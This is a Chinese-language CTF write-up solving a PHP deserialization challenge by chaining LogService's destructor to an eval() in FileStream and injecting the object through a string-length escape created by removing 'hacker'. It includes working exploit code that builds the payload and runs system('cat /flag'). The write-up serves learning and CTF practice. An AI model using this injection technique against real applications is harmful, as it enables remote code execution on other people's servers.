babypop-furryctf高校联合新申赛POFP赛道web

(还是太菜了,看了web方向的wp好多还是我没学过的,看也看不懂,然后因为最近做过反序列化打算磕一磕babypop然后一大串的看着看着发现自己好像又不会了,又去重新补了一下基础,再结合wp自己捋一遍)

题目源码如下:

php 复制代码
<?php
error_reporting(0);  // 关闭所有错误报告
highlight_file(__FILE__);  // 高亮显示当前PHP文件源代码

class SecurityProvider {
    private $token;  // 私有属性,存储安全令牌
    
    public function __construct() {
        $this->token = md5(uniqid());  // 使用唯一ID生成MD5值作为token
    }
    
    public function verify($data) {
        if (strpos($data, '..') !== false) {  // 检查数据中是否包含".."(目录遍历特征)
            die("Attack Detected");  // 发现攻击则终止脚本
        }
        return $data;  // 返回原数据
    }
}

class LogService {
    protected $handler;      // 日志处理器
    protected $formatter;    // 日志格式化器
    
    public function __construct($handler = null) {
        $this->handler = $handler;  // 设置处理器
        $this->formatter = new DateFormatter();  // 默认使用DateFormatter作为格式化器
    }

    public function __destruct() {
        // 对象销毁时,如果处理器存在且有关闭方法,则调用它
        if ($this->handler && method_exists($this->handler, 'close')) {
            $this->handler->close();
        }
    }
}

class FileStream {
    private $path;    // 文件路径
    private $mode;    // 模式(普通或调试)
    public $content;  // 文件内容(公开属性)
    
    public function __construct($path, $mode) {
        $this->path = $path;
        $this->mode = $mode;
    }
    
    public function close() {
        if ($this->mode === 'debug' && !empty($this->content)) {  // 调试模式下且有内容
            $cmd = $this->content;
            if (strlen($cmd) < 2) return;  // 命令长度小于2则返回
            @eval($cmd);  // 执行eval命令(关键漏洞点)
        } else {
            return true;
        }
    }
}

class DateFormatter {
    public function format($timestamp) {
        return date('Y-m-d H:i:s', $timestamp);  // 格式化时间戳
    }
}

class UserProfile {
    public $username;     // 用户名
    public $bio;          // 用户简介
    public $preference;   // 用户偏好设置(存储DateFormatter对象)
    
    public function __construct($u, $b) {
        $this->username = $u;
        $this->bio = $b;
        $this->preference = new DateFormatter();  // 默认设置为DateFormatter对象
    }
}

class DataSanitizer {
    public static function clean($input) {
        // 移除输入中的所有"hacker"字符串(存在反序列化字符串长度逃逸漏洞)
        return str_replace("hacker", "", $input);
    }
}

// 主程序逻辑开始
$raw_user = $_POST['user'] ?? null;  // 获取POST参数user
$raw_bio = $_POST['bio'] ?? null;    // 获取POST参数bio

if ($raw_user && $raw_bio) {
    $sec = new SecurityProvider();
    $sec->verify($raw_user);  // 检查user参数是否包含".."
    $sec->verify($raw_bio);   // 检查bio参数是否包含".."
    
    $profile = new UserProfile($raw_user, $raw_bio);  // 创建UserProfile对象
    $data = serialize($profile);  // 序列化对象
    
    if (strlen($data) > 4096) {  // 检查序列化数据长度
        die("Data too long");
    }
    
    $safe_data = DataSanitizer::clean($data);  // 移除所有"hacker"字符串
    $unserialized = unserialize($safe_data);   // 反序列化处理后的数据
    
    if ($unserialized instanceof UserProfile) {
        echo "Profile loaded for " . htmlspecialchars($unserialized->username);
    }
}
?>

因为之前做的反序列化都是一小串的,直接从头看到尾,然后发现在这里就不行了,顺着看下去看完前面的也忘了,所以这类题目还是倒着看好,先看主程序,再找在主程序中调用的方法。

主程序解读:

主程序首先要以POST方式传user和bio,然后先调用**verify(),**我们回到之前的代码看看verify是干啥的:

php 复制代码
 public function verify($data) {
        if (strpos($data, '..') !== false) {  // 检查数据中是否包含".."(目录遍历特征)
            die("Attack Detected");  // 发现攻击则终止脚本
        }
        return $data;  // 返回原数据

这里就是防止目录遍历,然后就是实例化Userprofile,那么再回到这个类里:

php 复制代码
class UserProfile {
    public $username;     // 用户名
    public $bio;          // 用户简介
    public $preference;   // 用户偏好设置(存储DateFormatter对象)
    
    public function __construct($u, $b) {
        $this->username = $u;
        $this->bio = $b;
        $this->preference = new DateFormatter();  // 默认设置为DateFormatter对象
    }
}

这里的u,b即我们在主程序中上传的两个量,然后这里还设置了一个公共属性的preference,而在这里的preference已经被设置为DateFormatter对象。

后面就是进行序列化,再调用DataSanitizer::clean()移除**hacker,**最后对其反序列化。

初步分析

这里首先我们要找的是能够执行命令的地方:

php 复制代码
 public function close() {
        if ($this->mode === 'debug' && !empty($this->content)) {  // 调试模式下且有内容
            $cmd = $this->content;
            if (strlen($cmd) < 2) return;  // 命令长度小于2则返回
            @eval($cmd);  // 执行eval命令(关键漏洞点)
        } else {
            return true;
        }
    }
}

在FileStream中调用的close()方法cun存在eval命令,所以我们要找能调用close方法的类,然后看到LogService:

php 复制代码
class LogService {
    protected $handler;      // 日志处理器
    protected $formatter;    // 日志格式化器
    
    public function __construct($handler = null) {
        $this->handler = $handler;  // 设置处理器
        $this->formatter = new DateFormatter();  // 默认使用DateFormatter作为格式化器
    }

    public function __destruct() {
        // 对象销毁时,如果处理器存在且有关闭方法,则调用它
        if ($this->handler && method_exists($this->handler, 'close')) {
            $this->handler->close();
        }
    }
}

我们构造一个 LogService 对象,并把它的 $handler 属性设置为上面的 FileStream 对象,那么脚本结束时,就会调用close()方法。

然后就要回到之前的UserProfile里面了,preference的属性已经是固定的DataFormatter类,这个在我们构造pop链时没有作用,我们需要的是让preference成为LogService类能去调用close()方法,如果我们直接将bio里面输入preference如;s:10:"preference"只是这个字符串的文本内容,不是PHP序列化语法,所以这里要用到字符串逃逸让我们的preference被当作新的字段定义,成为真正的序列化语法。而这里就能够用到:

php 复制代码
class DataSanitizer {
    public static function clean($input) {
        // 移除输入中的所有"hacker"字符串(存在反序列化字符串长度逃逸漏洞)
        return str_replace("hacker", "", $input);
    }
}

就比如我们让username为hacker,如果Userprofile是这样的:

php 复制代码
O:11:"UserProfile":3:{s:8:"username";s:6:"hacker";s:3:"bio";s:长度:"恶意内容";s:10:"preference";....}

那么经过字符串逃逸之后就会变成:

php 复制代码
O:11:"UserProfile":3:{s:8:"username";s:6:"";s:3:"bio";s:长度:"恶意内容";s:10:"preference";...}

那么后面的字符就会往前补,如果字符结束之后刚好是分号,就代表闭合,后面的就成为了新的字段【即我们所需要的preference】。

脚本构造:

进行上述分析之后,就可以按照wp先构造pop链对象:

php 复制代码
<?php
class LogService {
    protected $handler;
    protected $formatter;
    public function __construct($h = null) {
        $this->handler = $h;
        $this->formatter = new DateFormatter();
    }
}
class FileStream {
    private $path;
    private $mode;
    public $content; 
    public function __construct($p, $m) {
        $this->path = $p;
        $this->mode = $m;
    }
}
// 1. 最内层:FileStream(执行命令)
$f = new FileStream('exploit.log', 'debug');
$f->content = 'system("cat /flag");';

// 2. 中间层:LogService(触发链条)
$l = new LogService($f);  // $f作为handler
// 注意:LogService构造函数会自动设置formatter为DateFormatter

// 3. 序列化LogService对象(注意不是UserProfile)
$bad = serialize($l);

结果:O:10:"LogService":2:{s:10:"*handler";O:10:"FileStream":3:{s:16:"FileStreampath";s:11:"exploit.log";s:16:"FileStreammode";s:5:"debug";s:7:"content";s:20:"system("cat /flag");";}s:12:"*formatter";O:13:"DateFormatter":0:{}}

最后的最后,就是如何设置username和bio前缀的长度来达到刚好闭合的效果,也是利用脚本:

php 复制代码
// 步骤2:自动计算字符串逃逸的payload
for ($i = 0; $i < 2000; $i++) {  // 循环尝试不同的填充长度(0-1999)
    // 创建填充字符串,i个"A",用于调整总长度
    $pad = str_repeat("A", $i);
    
    // 构造bio参数的值:填充 + 结束引号 + preference字段定义 + 恶意对象 + 结束符
    // 格式:AAAAA";s:10:"preference";O:10:"LogService":{...}};
    // 注意:结尾的}; 用于提前结束UserProfile对象
    $bio = $pad . '";s:10:"preference";' . $bad . ';}';
    
    // 计算需要被username字段"吃掉"的字符串
    // 格式:";s:3:"bio";s:[bio长度]:"AAAAA
    // 解释:
    //   "      - 结束username字符串的引号
    //   ;      - 结束当前值
    //   s:3:"bio" - bio字段声明
    //   ;      - 结束字段名
    //   s:[bio长度]:" - bio字段长度声明
    //   AAAAA  - bio值的开头(填充部分)
    $eat = '";s:3:"bio";s:' . strlen($bio) . ':"' . $pad;
    
    // 关键检查:被吃掉的字符串长度必须是6的倍数
    // 原因:每个"hacker"被移除时减少6个字符
    // 需要n个hacker来创造6n个字符的缺口,正好吞掉$eat
    if (strlen($eat) % 6 === 0) {
        // 计算需要多少个"hacker":$eat长度 ÷ 6
        $hacker_count = strlen($eat) / 6;
        
        // 输出最终的攻击payload
        // user参数:多个"hacker"(创造字符串逃逸缺口)
        // bio参数:URL编码后的恶意payload
        echo "user=" . str_repeat("hacker", $hacker_count) . "&bio=" . urlencode($bio);
        
        // 找到第一个可行解就停止
        break;
    }
}
?>

这里面需要注意的是在源代码中propfile在进行new UserProfile时最后面还是会生成s:10:"preference";O:13:"DateFormatter"但是在脚本中的profile作为新的字段已经表示了Userprofile对象,加上闭合符就代表着}字符告诉PHP:"UserProfile对象到此结束",如果没有:

  • PHP会继续解析后面的内容

  • 看到默认的s:10:"preference";O:13:"DateFormatter"

  • 但UserProfile已经有一个preference字段了(我们注入的)

  • 一个对象不能有两个同名字段 → 解析失败

这也是字符串逃逸攻击的精妙之处------不仅要注入恶意内容,还要阻止原始内容被解析。

如有错误之处恳请师傅们指正。

相关推荐
mCell8 小时前
如何零成本搭建个人站点
前端·程序员·github
mCell9 小时前
为什么 Memo Code 先做 CLI:以及终端输入框到底有多难搞
前端·设计模式·agent
恋猫de小郭9 小时前
AI 在提高你工作效率的同时,也一直在增加你的疲惫和焦虑
前端·人工智能·ai编程
少云清9 小时前
【安全测试】2_客户端脚本安全测试 _XSS和CSRF
前端·xss·csrf
银烛木10 小时前
黑马程序员前端h5+css3
前端·css·css3
m0_6070766010 小时前
CSS3 转换,快手前端面试经验,隔壁都馋哭了
前端·面试·css3
听海边涛声10 小时前
CSS3 图片模糊处理
前端·css·css3
IT、木易10 小时前
css3 backdrop-filter 在移动端 Safari 上导致渲染性能急剧下降的优化方案有哪些?
前端·css3·safari
0思必得010 小时前
[Web自动化] Selenium无头模式
前端·爬虫·selenium·自动化·web自动化
anOnion10 小时前
构建无障碍组件之Dialog Pattern
前端·html·交互设计